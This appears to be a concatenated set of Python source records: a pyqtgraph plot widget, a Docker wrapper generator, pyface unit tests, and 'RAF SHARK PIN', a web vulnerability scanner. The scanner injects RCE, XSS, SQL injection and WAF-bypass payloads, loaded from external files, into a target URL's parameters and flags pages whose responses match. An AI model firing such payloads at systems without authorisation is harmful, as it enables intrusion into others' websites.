= False\n self._x_position_indicator = None\n self._x_indicator_movable = True\n self._x_indicator_text_color = Qt.red\n self._x_indicator_color = Qt.red\n self._x_indicator_label = 'x'\n self._x_indicator_position = 0\n self._show_fft = False\n self._fft_window = None\n self._title_color = QColor(150, 150, 150)\n self.title = title\n self._set_x_axis_(x_label)\n self._set_y_axis_(y_label)\n\n def set_matplotlib_default_style(self):\n \"\"\"\n Tell the plot widget to mimic the default style of matplotlib's plots\n \"\"\"\n self.set_indicator_colors(Qt.black)\n self.set_background_color(Qt.white)\n self.set_plot_color(QColor(31, 119, 180)) # matplotlib default blue\n\n def set_indicator_colors(self, color):\n \"\"\"\n Sets the colors of the axes as well as the title\n :param color: color\n \"\"\"\n self.set_title_color(color)\n self.set_x_axis_color(color)\n self.set_y_axis_color(color)\n\n def set_axes_color(self, color):\n \"\"\"\n Sets the colors of both axes\n :param color: color\n \"\"\"\n self.set_x_axis_color(color)\n self.set_y_axis_color(color)\n\n def set_x_axis_color(self, color):\n \"\"\"\n Sets the color of the x axis\n :param color: color\n \"\"\"\n self._x_axis_color = color\n self._set_x_axis_(self._x_label)\n\n def set_y_axis_color(self, color):\n \"\"\"\n Sets the color of the y axis\n :param color: color\n \"\"\"\n self._y_axis_color = color\n self._set_y_axis_(self._y_label)\n\n def set_title_color(self, color):\n \"\"\"\n Sets the color of the title\n :param color: color\n \"\"\"\n self._title_color = color\n self.title = self._title\n\n def set_plot_color(self, color):\n \"\"\"\n Sets the color of the plot\n :param color: color of the plot\n \"\"\"\n self._line_color = color\n if self._line_data is not None:\n self._line_data.setPen(self._line_color)\n\n @staticmethod\n def _to_valid_rgb_(color):\n \"\"\"\n Converts a given color to an RGB value\n :param color: color\n :return RGB values\n \"\"\"\n if type(color) == int or type(color) == Qt.GlobalColor:\n q_color = QColor(color)\n return q_color.red(), q_color.green(), q_color.blue()\n else:\n return color\n\n @staticmethod\n def _to_html_color_(color):\n \"\"\"\n Converts a given color to a string in the HTML color format\n :param color: color\n :return: HTML color string\n \"\"\"\n if type(color) != QColor:\n q_color = QColor(color)\n else:\n q_color = color\n return '#{0:02x}{1:02x}{2:02x}'.format(q_color.red(), q_color.green(), q_color.blue())\n\n def set_background_color(self, color):\n \"\"\"\n Sets the background color\n :param color: color\n \"\"\"\n self._background_color = self._to_valid_rgb_(color)\n pg.setConfigOption('background', self._background_color)\n self._plot.setBackground(self._background_color)\n self.update()\n\n def set_imshow(self, image_data, extent=None, c_map=None, auto_fit_plot=True):\n \"\"\"\n Show 2D data on the plot.\n :param image_data: 2D array consisting of z-values\n :param extent: the range on the x and y axis that the data covers\n :param c_map: the colormap for the data, matplotlib's \"viridis\" is used if nothing is specified\n :param auto_fit_plot: if set to true will change the view to fit the data\n \"\"\"\n if self._current_mode == PY_GRAPH_PLOT_MODE_LINE:\n self._plot.removeItem(self._line_data)\n self._line_data = None\n\n self._current_mode = PY_GRAPH_PLOT_MODE_IMAGE\n scale = (1, 1)\n offset = (0, 0)\n if extent is not None:\n x0 = extent[0]\n x1 = extent[1]\n y0 = extent[2]\n y1 = extent[3]\n width = x1 - x0\n height = y1 - y0\n scale = (width / image_data.shape[1], height / image_data.shape[0])\n offset = (x0, y0)\n if c_map is None:\n c_map = pyqtgraph_color_map_from_matplotlib('viridis')\n\n self._image_item.resetTransform()\n self._image_item.setImage(image_data.transpose())\n self._image_item.scale(*scale)\n self._image_item.setPos(*offset)\n self._image_item.setLookupTable(c_map.getLookupTable())\n self._plot.addItem(self._image_item)\n\n # move indicator to foreground\n if self._x_position_indicator is not None:\n self._plot.removeItem(self._x_position_indicator)\n self._plot.addItem(self._x_position_indicator)\n\n if auto_fit_plot:\n self._plot.enableAutoRange()\n self._plot.disableAutoRange()\n\n def set_data(self, x, y, auto_fit_plot=True):\n \"\"\"\n Sets the x and y data of the plot\n :param x: x axis data\n :param y: y axis data\n :param auto_fit_plot: if set to true will change the view to fit the data\n \"\"\"\n if self._current_mode == PY_GRAPH_PLOT_MODE_IMAGE:\n self._plot.removeItem(self._image_item)\n\n self._current_mode = PY_GRAPH_PLOT_MODE_LINE\n if self._line_data is None:\n self._line_data = PyGraphCustomPlotDataItem(x, y)\n self._line_data.fft_created.append(self._fft_created_)\n self._line_data.close_fft_window.append(self._close_fft_window_)\n self._plot.addItem(self._line_data)\n self._line_data.setPen(self._line_color)\n else:\n if len(x) < 2:\n self._plot.setDownsampling(auto=False)\n self._plot.getPlotItem().axes.clear()\n self._line_data.setData(x, y)\n\n # move indicator to foreground\n if self._x_position_indicator is not None:\n self._plot.removeItem(self._x_position_indicator)\n self._plot.addItem(self._x_position_indicator)\n\n self._plot.setClipToView(clip=False)\n if auto_fit_plot:\n self._plot.enableAutoRange()\n self._plot.disableAutoRange()\n if len(x) > 1:\n self._plot.setDownsampling(auto=True)\n\n def _set_x_position_indicator_(self):\n \"\"\"\n Apply all settings to x-position indicator\n \"\"\"\n if self._plot is None:\n return\n\n if not self._show_x_position_indicator and self._x_position_indicator is not None:\n self._plot.removeItem(self._x_position_indicator)\n self._x_position_indicator = None\n return\n\n if self._show_x_position_indicator and self._x_position_indicator is None:\n self._x_position_indicator = pg.InfiniteLine(movable=self._x_indicator_movable,\n angle=90,\n label=self._x_indicator_label+'={value:0.2f}',\n pen=self._to_valid_rgb_(self._x_indicator_color),\n labelOpts={'position': 0.1,\n 'color': self._to_valid_rgb_(self._x_indicator_text_color),\n 'fill': (0, 0, 0, 0),\n 'movable': self._x_indicator_movable})\n self._x_position_indicator.sigPositionChanged.connect(self._x_position_indicator_changed_)\n self._plot.addItem(self._x_position_indicator)\n self._x_position_indicator.setValue(self._x_indicator_position)\n elif self._show_x_position_indicator:\n self._x_position_indicator.setPen(self._to_valid_rgb_(self._x_indicator_color))\n self._x_position_indicator.setMovable(self._x_indicator_movable)\n self._x_position_indicator.label.setFormat(self._x_indicator_label+'={value:0.2f}')\n self._x_position_indicator.label.setColor(self._to_valid_rgb_(self._x_indicator_text_color))\n self._x_position_indicator.label.setMovable(self._x_indicator_movable)\n self._x_position_indicator.setValue(self._x_indicator_position)\n\n def _x_position_indicator_changed_(self):\n value = self._x_position_indicator.value()\n self.x_position_indicator_changed.emit(value)\n\n def _set_x_axis_(self, value):\n \"\"\"\n Sets a new x axis label while keeping the style\n :param value: text\n \"\"\"\n self._x_label = value\n if self._plot is not None:\n self._plot.setLabel('bottom', value, color=self._to_html_color_(self._x_axis_color))\n self._plot.plotItem.axes['bottom']['item'].setPen(self._to_valid_rgb_(self._x_axis_color))\n\n def _set_y_axis_(self, value):\n \"\"\"\n Sets a new y axis label while keeping the style\n :param value: text\n \"\"\"\n self._y_label = value\n if self._plot is not None:\n self._plot.setLabel('left', value, color=self._to_html_color_(self._y_axis_color))\n self._plot.plotItem.axes['left']['item'].setPen(self._to_valid_rgb_(self._y_axis_color))\n\n def _fft_created_(self, freq, fft):\n \"\"\"\n Callback when FFT creation has been finished\n :param freq: frequency data\n :param fft: amplitude data\n \"\"\"\n if self._show_fft and self._fft_window is not None:\n self._close_fft_window_()\n elif not self._show_fft:\n self._show_fft = True\n self._fft_window = PyGraphSubPlotWindow(self)\n self._fft_window.setWindowTitle('FFT')\n fft_plot = PyGraphWidget(self._fft_window)\n fft_plot.set_data(freq, fft)\n fft_plot.set_plot_color('y')\n fft_plot.y_label = 'FFT amplitude'\n fft_plot.x_label = 'FFT frequency'\n self._fft_window.setCentralWidget(fft_plot)\n self._fft_window.is_closing.append(self._window_was_closed_)\n self._fft_window.show()\n\n def _window_was_closed_(self):\n \"\"\"\n Callback when window is closed\n \"\"\"\n if self._line_data is not None:\n self._line_data.setFftMode(False)\n self._show_fft = False\n\n def _close_fft_window_(self):\n \"\"\"\n Callback when fft window is closed\n \"\"\"\n if self._fft_window is not None:\n self._fft_window.close()\n self._show_fft = False\n\n def _range_changed_(self, *args):\n \"\"\"\n Callback when range changes to update sampling for performance gain\n :param args: event arguments\n \"\"\"\n self._plot.setDownsampling(ds=1, auto=False)\n self._plot.setClipToView(clip=False)\n self._plot.setDownsampling(auto=True)\n self._plot.setClipToView(clip=True)\n\n\nclass PyGraphSubPlotWindow(QMainWindow):\n \"\"\"\n This window is used to display the FFT in a separate window\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.is_closing = list()\n\n def closeEvent(self, *args, **kwargs):\n for callback in self.is_closing:\n callback()\n return super().closeEvent(*args, **kwargs)\n\n\nclass PyGraphCustomPlotDataItem(pg.PlotDataItem):\n \"\"\"\n This plot item overwrites the pyqtgraph PlotDataItem to fix a bug in the FFT option\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n self.fft_created = list()\n self.close_fft_window = list()\n super().__init__(*args, **kwargs)\n\n def setFftMode(self, mode):\n self.opts['fftMode'] = mode\n if mode:\n x = self.xData\n y = self.yData\n self.opts['fftMode'] = False\n freq, fft = self._fourierTransform(x, y)\n for callback in self.fft_created:\n callback(freq, fft)\n else:\n for callback in self.close_fft_window:\n callback()\n\n def _fourierTransform(self, x, y):\n fft = np.nan_to_num(np.real(np.fft.rfft(y)))\n freq = np.nan_to_num(np.fft.rfftfreq(len(y), d=(x[1] - x[0]))) # assume uniform spacing\n return freq, fft\n\n\nif __name__ == '__main__':\n from pyqtgraph.Qt import QtGui\n from PyQt5.QtWidgets import QMainWindow\n from Model.Math.Spectrogram import spectrogram\n import h5py\n\n path = 'Z:/shared/Master Thesis/Experiments/TrappingExperiment/Trapping_30.4.2019/'\n file = 'trapping3_500mW.h5'\n hf = h5py.File(path+file, 'r')\n data = hf['data'][:]\n\n app = QtGui.QApplication([])\n main = QMainWindow()\n\n x_ = data[:, 0]\n y_ = data[:, 1]\n\n window_size = 4096\n overlap = round(window_size * 0.95)\n sampling_frequency = 1 / (x_[1] - x_[0])\n lower_limit_offset_dB = 10\n max_frequency = 25e3\n min_frequency = 0\n calc_spectra, calc_f, calc_t = spectrogram(y_, window_size, overlap, sampling_frequency,\n f_min=min_frequency, f_max=max_frequency,\n outlier_threshold_low=lower_limit_offset_dB)\n\n calc_f *= 1e-3\n plot = PyGraphWidget(main)\n plot.set_matplotlib_default_style()\n plot.title = 'test'\n plot.x_label = 't [s]'\n plot.y_label = 'stuff'\n plot.set_data(x_, y_)\n plot.set_imshow(calc_spectra, extent=(np.min(calc_t), np.max(calc_t), np.min(calc_f), np.max(calc_f)))\n plot.show_x_position_indicator = True\n plot.x_indicator_color = Qt.black\n plot.x_indicator_text_color = Qt.red\n plot.x_indicator_label = 'test'\n plot.x_indicator_position = 2\n print(plot.title)\n main.setCentralWidget(plot)\n main.show()\n QtGui.QApplication.instance().exec_()\n\n\ndef color_map_to_pyqtgraph(map):\n \"\"\"\n Converts a colormap from matplotlib to a colormap for pyqtgraph.\n :param map: matplotlib colormap\n :return: pyqtgraph colormap\n \"\"\"\n length = len(map.colors)\n pos = [i/length for i in range(length)]\n color = map.colors\n color_count = len(color[0])\n color_mode = None\n if color_count == 3:\n color_mode = ColorMap.RGB\n for entry in color:\n entry.append(1.)\n return ColorMap(pos, color, color_mode)\n\n\ndef pyqtgraph_color_map_from_matplotlib(name, lut=None):\n \"\"\"\n Creates a colormap for pyqtgraph using matplotlib's colormap capabilities.\n :param name: map name\n :param lut: lookup table\n :return: pyqtgraph colormap\n \"\"\"\n return color_map_to_pyqtgraph(get_cmap(name, lut))\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import spbdl\n\nurl = spbdl.randImg()\nurl2 = spbdl.getImg(\"epic\") #Uses the default arguments for getting image url\nurl3 = spbdl.getImg(\"epic\",review=\"accepted\",sort='top', order='created_at',direction=\"ASC\") #Passes custom arguments for getting image url\n\nprint(url)\nprint(url2)\nprint(url3)", "source": "Boidushya/spbdl", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nimport pathlib\nimport textwrap\n\n\ndef _main():\n with open('commands.tsv', 'r') as fin:\n for line in fin:\n if line.startswith('#'):\n continue\n\n name, image, tag, cmd, ref = line.strip().split('\\t')\n\n options = {\n 'jupyter': '''\n -p 8888:8888 \\\\\n -p 8080:8080 \\\\\n -p 8081:8081 \\\\\n -p 8082:8082 \\\\''',\n }\n\n bin_path = pathlib.Path('.', 'bin', name)\n with open(bin_path, 'w') as fout:\n option = options.get(name, '')\n template = f'''\\\n #!/bin/bash\n\n if [ -w /var/run/docker.sock ]; then\n # rootful docker\n CONTAINER_USER=$(id -u):$(id -g)\n else\n # rootless docker\n CONTAINER_USER=root\n fi\n\n # {ref}\n docker run -it --rm \\\\\n -u $CONTAINER_USER \\\\\n -e HOME=$HOME \\\\\n -e USER=$USER \\\\\n -v $HOME:$HOME \\\\\n -w \"$PWD\" \\\\{option}\n {image}:{tag} {cmd} \"$@\"\n '''\n\n print(textwrap.dedent(template), file=fout)\n os.chmod(bin_path, 0o755)\n\n\nif __name__ == '__main__':\n _main()\n", "source": "knmkr/bioinfo-docker-run-wrapper", "license": "MIT"} {"text": "####################################################################\n# Python 3.6.8\n# Project Name: RAF SHARK PIN\n# ver 1.0\n# Developer: ROB GIULIANO -a.k.a- PG\n# Etherium: 0x14996EE0113C46A34b14e4F30197768b174c9486\n# Bitcoin: 1HN7eNRiJFWR1JXQdMx2hwVCaANmbhnUrb\n# Bitcoin Cash: qz7h44sqpn8ud2hv04tw2kgr9ayqu94gngm2tedvrt\n# Tipeeestream: https://www.tipeeestream.com/rob-giuliano/donation\n#####################################################################\n\nimport re\nimport urllib.parse\nimport urllib.error\nimport urllib.request\nimport argparse\nfrom libs.rShark import *\nimport http.client\nimport socket\n\nclass sharkCheck:\n def __init__(self, loanshark, sharkloader, sharkcheck, cls, vuln, *args, **kwargs):\n self.loanshark = loanshark\n self.sharkloader = sharkloader\n self.sharkcheck = sharkcheck\n self.cls = cls\n self.vuln = vuln\n\nvarShark_C = sharkCheck('loanRsk', 'loadeRsk', 'checkRsk', 'clsRsk', 'vulnRsk')\nraf_shark_load = varShark_C\nraf_shark_check = varShark_C\n\n\ndef rFodera(target, raf_shark_load, raf_shark_check):\n check_target = urllib.request.urlopen(target)\n rshark_stat = 0\n if check_target.code == 999:\n print(\"[RSP -Info]\", \"Detect Waf!\")\n time.sleep(3)\n\n for params in target.split(\"?\")[1].split(\"&\"):\n for varShark_C.loanshark in varShark_C.sharkloader:\n varShark_C.vuln = target.replace(params, params + str(varShark_C.loanshark).strip())\n request = user_agent.open(varShark_C.vuln)\n html = request.readlines()\n for line in html:\n varShark_C.cls = re.findall(varShark_C.sharkcheck, line.decode('cp1252'))\n if len(varShark_C.cls) != 0:\n print(\" \")\n print(srkColor.bold(1), \"[RSP - Scan]: >>> Audit Snippet >>> \" + varShark_C.vuln)\n print(srkColor.bold(1) + \"\\t\", \"=================================================\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| |\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"|\", '[RSP - Info]: >>> Target is vulnerable!', '\\t', \"|\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| | \" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"=================================================\" + srkColor.end())\n print(\" \")\n\n\n rshark_stat += 1\n if rshark_stat == 0:\n print(\"\\t\", srkColor.bold(1), \"%s %s\" % (\" [RSP - Info]: >>> Web target is not vulnerable!\"))\n else:\n print(\"\")\n print(srkColor.blue(1))\n print(banner, srkColor.end())\n print(\"\\t\", srkColor.cyan(1), \"[RSP - Info]: >>> Scan completed\", srkColor.end())\n print(\"\\t\", srkColor.cyan(1), \"[RSP - Info]: >>> Target: \", srkColor.end(), srkColor.bold(1), target, srkColor.end())\n print(\" \")\n print(\"\\t\")\n print(srkColor.bold(1) + \"\\t\", \"=================================================\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"|\", '\\t', '\\t', ('Raport Scan'), \"\\t\", \"\\t\", \"\\t\", \"|\", \"\\t\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| |\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| |\" + srkColor.end())\n print(srkColor.bold(1), \"\\t\", \"|\", \"\\t\", \"Full found: %i bugs.\" %(rshark_stat),\"\\t\", \"\\t\", \"\\t\", \"|\", \"\\t\" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| | \" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"| | \" + srkColor.end())\n print(srkColor.bold(1) + \"\\t\", \"=================================================\" + srkColor.end())\n print(srkColor.bold(1))\n input(' Press Enter to Exit')\n print(srkColor.end())\n exit()\n\n\n\nclass sharkSec:\n def __init__(self, rcce, waf, xxs, sqli, ckdir):\n self.rcce = rcce\n self.waf = waf\n self.xxs = xxs\n self.sqli = sqli\n self.ckdir = ckdir\n\nvarSec = sharkSec('raf_sec_rcce', 'raf_sec_waf', 'rafy_sec_xxs', 'raf_sec_sqli', 'raf_sec_ckdir')\nvarChecker = sharkSec('raf_check_rcce', 'raf_check_waf', 'rafy_check_xxs', 'raf_check_sqli', 'raf_check_ckdir')\n\n\ndef sharky_rce_test(target):\n headers_reader(target)\n print(\" \")\n print(\"\\t\", srkColor.bold(1), (\"[RSP - Info:] Target: \" + target), srkColor.end())\n print(\" \")\n print(\" \")\n print(srkColor.bold(1), \"[RSP - Info]: >>> [Modx PenTester] >>> Remote Code Execution\")\n time.sleep(3)\n varSec.rcce = open(\"libs/rSec/rcce.txt\", \"r\").readlines()\n varShark_C.sharkloader = varSec.rcce\n varChecker.rcce = open(\"libs/rChecker/_checker_rcce.txt\", \"r\").readline()\n varShark_C.sharkcheck = re.compile(varChecker.rcce, re.I)\n rFodera(target, raf_shark_load, raf_shark_check)\n\n\n\ndef sharky_waf_test(target):\n headers_reader(target)\n print(\" \")\n print(\"\\t\", srkColor.bold(1), (\"[RSP - Info:] Target: \" + target), srkColor.end())\n print(\" \")\n print(\" \")\n print(srkColor.bold(1), \"[RSP - Info]: >>> [Modx PenTester] >>> DIOS WAF Bypassed\")\n time.sleep(3)\n varSec.waf = open(\"libs/rSec/waf.txt\",\"r\").readlines()\n varShark_C.sharkloader = varSec.waf\n varChecker.waf = open(\"libs/rChecker/_checker_waf.txt\", \"r\").readline()\n varShark_C.sharkcheck = re.compile(varChecker.waf, re.I)\n rFodera(target, raf_shark_load, raf_shark_check)\n\n\n\ndef sharky_xxs_test(target):\n headers_reader(target)\n print(\" \")\n print(\"\\t\", srkColor.bold(1), (\"[RSP - Info:] Target: \" + target), srkColor.end())\n print(\" \")\n print(\" \")\n print(srkColor.bold(1), \"[RSP - Info]: >>> [Modx PenTester] >>> Xss Vulnerability\")\n time.sleep(3)\n varSec.xxs = open(\"libs/rSec/xxs.txt\", \"r\").readlines()\n varShark_C.sharkloader = varSec.xxs\n varChecker.xxs = open(\"libs/rChecker/_checker_xxs.txt\", \"r\").readline()\n varShark_C.sharkcheck = re.compile(varChecker.xxs, re.I)\n rFodera(target, raf_shark_load, raf_shark_check)\n\n\n\ndef sharky_sqli_test(target):\n headers_reader(target)\n print(\" \")\n print(\"\\t\", srkColor.bold(1), (\"[RSP - Info:] Target: \" + target), srkColor.end())\n print(\" \")\n print(\" \")\n print(srkColor.bold(1), \"[RSP - Info]: >>> [Modx PenTester] >>> SQL Injection\")\n time.sleep(3)\n varSec.sqli = open(\"libs/rSec/sqli.txt\",\"r\").readlines()\n varShark_C.sharkloader = varSec.sqli\n varChecker.sqli = open(\"libs/rChecker/_checker_sqli.txt\", \"r\").readline()\n varShark_C.sharkcheck = re.compile(varChecker.sqli, re.I)\n rFodera(target, raf_shark_load, raf_shark_check)\n\n\n\nparser = argparse.ArgumentParser(\ndescription='''RAF SHARK PIN is an open source software in python language\nwhich lets you automated penetration testing and automated information gathering.\nThis software can be run on Windows/Linux/OSX under Python.\nProject was created to automated for information gathering,\nvulnerability scanning and eventually generating a report for\nnetworks.''',\nepilog=\"\"\"DISCLAIMER\nThis tool is related to IT, Hacking, Programming, and Computer|Network|Software Security.\nThe word \u201cHack\u201d, \"Pen testing\",\u201cHacking\u201d that is used on these project pages shall be regarded as \u201cEthical Hack\u201d or \u201cEthical Hacking\u201d respectively.\nThis is not a tool that provides any illegal information.We do not promote hacking or software cracking. All the information provided on these pages\nis for educational purposes only.\n\nThe authors of this tool are not responsible for any misuse of the\ninformation.You shall not misuse the information to gain unauthorized access\nand/or write malicious programs.This information shall only be used to expand knowledge\nand not for causing malicious or damaging attacks.You may try all of these techniques on\nyour own computer at your own risk.\nPerforming any hack attempts/tests without written\npermission from the owner of the computer system is illegal.\"\"\")\nargs = parser.parse_args()\n", "source": "rob-giuliano/Raf.Shark.Pin", "license": "MIT"} {"text": "#------------------------------------------------------------------------------\n#\n# Copyright (c) 2016, Enthought, Inc.\n# All rights reserved.\n#\n# This software is provided without warranty under the terms of the BSD\n# license included in enthought/LICENSE.txt and may be redistributed only\n# under the conditions described in the aforementioned license. The license\n# is also available online at http://www.enthought.com/licenses/BSD.txt\n#\n# Thanks for using Enthought open source!\n#\n# Author: Enthought Developers\n#\n#------------------------------------------------------------------------------\n\nimport os\nimport unittest\n\nfrom traits.api import HasTraits, TraitError\nfrom traits.testing.unittest_tools import UnittestTools\ntry:\n from traits.trait_handlers import (\n CALLABLE_AND_ARGS_DEFAULT_VALUE,\n UNSPECIFIED_DEFAULT_VALUE\n )\nexcept ImportError:\n UNSPECIFIED_DEFAULT_VALUE = -1\n CALLABLE_AND_ARGS_DEFAULT_VALUE = 7\n\nfrom ..i_image_resource import IImageResource\nfrom ..image_resource import ImageResource\nfrom ..ui_traits import (Border, HasBorder, HasMargin, Image, Margin,\n image_resource_cache, image_bitmap_cache)\n\n\nIMAGE_PATH = os.path.join(os.path.dirname(__file__), 'images', 'core.png')\n\n\nclass ImageClass(HasTraits):\n\n image = Image\n\n\nclass HasMarginClass(HasTraits):\n\n margin = HasMargin\n\n\nclass HasBorderClass(HasTraits):\n\n border = HasBorder\n\n\nclass TestImageTrait(unittest.TestCase, UnittestTools):\n\n def setUp(self):\n # clear all cached images\n image_resource_cache.clear()\n image_bitmap_cache.clear()\n # clear cached \"not found\" image\n ImageResource._image_not_found = None\n\n def test_defaults(self):\n image_class = ImageClass()\n\n self.assertIsNone(image_class.image)\n\n def test_init_local_image(self):\n from pyface.image_resource import ImageResource\n\n image_class = ImageClass(image=ImageResource('core.png'))\n\n self.assertIsInstance(image_class.image, ImageResource)\n self.assertEqual(image_class.image.name, 'core.png')\n self.assertEqual(image_class.image.absolute_path,\n os.path.abspath(IMAGE_PATH))\n\n def test_init_pyface_image(self):\n from pyface.image_resource import ImageResource\n\n image_class = ImageClass(image='about')\n im = image_class.image.create_image()\n\n self.assertIsInstance(image_class.image, ImageResource)\n self.assertEqual(image_class.image.name, 'about')\n self.assertIsNone(image_class.image._image_not_found)\n self.assertIsNotNone(image_class.image._ref.data)\n\n def test_init_pyface_image_library(self):\n from pyface.image_resource import ImageResource\n\n image_class = ImageClass(image='@icons:dialog-warning')\n\n self.assertIsInstance(image_class.image, ImageResource)\n self.assertEqual(image_class.image.name, 'dialog-warning.png')\n self.assertIsNone(image_class.image._image_not_found)\n self.assertEqual(image_class.image._ref.file_name, 'dialog-warning.png')\n self.assertEqual(image_class.image._ref.volume_name, 'icons')\n\n\nclass TestMargin(unittest.TestCase):\n\n def test_defaults(self):\n margin = Margin()\n self.assertEqual(margin.top, 0)\n self.assertEqual(margin.bottom, 0)\n self.assertEqual(margin.left, 0)\n self.assertEqual(margin.right, 0)\n\n def test_init_one_arg(self):\n margin = Margin(4)\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_init_two_args(self):\n margin = Margin(4, 2)\n self.assertEqual(margin.top, 2)\n self.assertEqual(margin.bottom, 2)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_init_four_args(self):\n margin = Margin(4, 2, 3, 1)\n self.assertEqual(margin.top, 3)\n self.assertEqual(margin.bottom, 1)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 2)\n\n\nclass TestHasMargin(unittest.TestCase, UnittestTools):\n\n def test_defaults(self):\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 0)\n self.assertEqual(margin.bottom, 0)\n self.assertEqual(margin.left, 0)\n self.assertEqual(margin.right, 0)\n\n def test_unspecified_default(self):\n trait = HasMargin()\n trait.default_value_type = UNSPECIFIED_DEFAULT_VALUE\n\n (dvt, dv) = trait.get_default_value()\n\n self.assertEqual(dvt, CALLABLE_AND_ARGS_DEFAULT_VALUE)\n self.assertEqual(\n dv,\n (\n Margin,\n (),\n {'top': 0, 'bottom': 0, 'left': 0, 'right': 0},\n )\n )\n\n def test_default_int(self):\n\n class HasMarginClass(HasTraits):\n\n margin = HasMargin(4)\n\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_default_one_tuple(self):\n\n class HasMarginClass(HasTraits):\n\n margin = HasMargin((4,))\n\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_default_two_tuple(self):\n\n class HasMarginClass(HasTraits):\n\n margin = HasMargin((4, 2))\n\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 2)\n self.assertEqual(margin.bottom, 2)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_default_four_tuple(self):\n\n class HasMarginClass(HasTraits):\n\n margin = HasMargin((4, 2, 3, 1))\n\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 3)\n self.assertEqual(margin.bottom, 1)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 2)\n\n def test_default_margin(self):\n m = Margin(left=4, right=2, top=3, bottom=1)\n\n class HasMarginClass(HasTraits):\n\n margin = HasMargin(m)\n\n has_margin = HasMarginClass()\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 3)\n self.assertEqual(margin.bottom, 1)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 2)\n\n def test_init_int(self):\n has_margin = HasMarginClass(margin=4)\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_init_one_tuple(self):\n has_margin = HasMarginClass(margin=(4,))\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_init_two_tuple(self):\n has_margin = HasMarginClass(margin=(4, 2))\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 2)\n self.assertEqual(margin.bottom, 2)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_init_four_tuple(self):\n has_margin = HasMarginClass(margin=(4, 2, 3, 1))\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 3)\n self.assertEqual(margin.bottom, 1)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 2)\n\n def test_init_margin(self):\n margin = Margin()\n has_margin = HasMarginClass(margin=margin)\n\n self.assertEqual(has_margin.margin, margin)\n\n def test_set_int(self):\n has_margin = HasMarginClass()\n with self.assertTraitChanges(has_margin, 'margin', 1):\n has_margin.margin = 4\n\n margin = has_margin.margin\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_set_one_tuple(self):\n has_margin = HasMarginClass()\n with self.assertTraitChanges(has_margin, 'margin', 1):\n has_margin.margin = (4,)\n\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 4)\n self.assertEqual(margin.bottom, 4)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_set_two_tuple(self):\n has_margin = HasMarginClass()\n with self.assertTraitChanges(has_margin, 'margin', 1):\n has_margin.margin = (4, 2)\n\n margin = has_margin.margin\n\n self.assertEqual(margin.top, 2)\n self.assertEqual(margin.bottom, 2)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 4)\n\n def test_set_four_tuple(self):\n has_margin = HasMarginClass()\n with self.assertTraitChanges(has_margin, 'margin', 1):\n has_margin.margin = (4, 2, 3, 1)\n\n margin = has_margin.margin\n self.assertEqual(margin.top, 3)\n self.assertEqual(margin.bottom, 1)\n self.assertEqual(margin.left, 4)\n self.assertEqual(margin.right, 2)\n\n def test_set_margin(self):\n margin = Margin()\n has_margin = HasMarginClass()\n with self.assertTraitChanges(has_margin, 'margin', 1):\n has_margin.margin = margin\n\n self.assertEqual(has_margin.margin, margin)\n\n def test_set_invalid(self):\n has_margin = HasMarginClass()\n with self.assertRaises(TraitError):\n has_margin.margin = (1, 2, 3)\n\n\nclass TestBorder(unittest.TestCase):\n\n def test_defaults(self):\n border = Border()\n self.assertEqual(border.top, 0)\n self.assertEqual(border.bottom, 0)\n self.assertEqual(border.left, 0)\n self.assertEqual(border.right, 0)\n\n def test_init_one_arg(self):\n border = Border(4)\n self.assertEqual(border.top, 4)\n self.assertEqual(border.bottom, 4)\n self.assertEqual(border.left, 4)\n self.assertEqual(border.right, 4)\n\n def test_init_two_args(self):\n border = Border(4, 2)\n self.assertEqual(border.top, 2)\n self.assertEqual(border.bottom, 2)\n 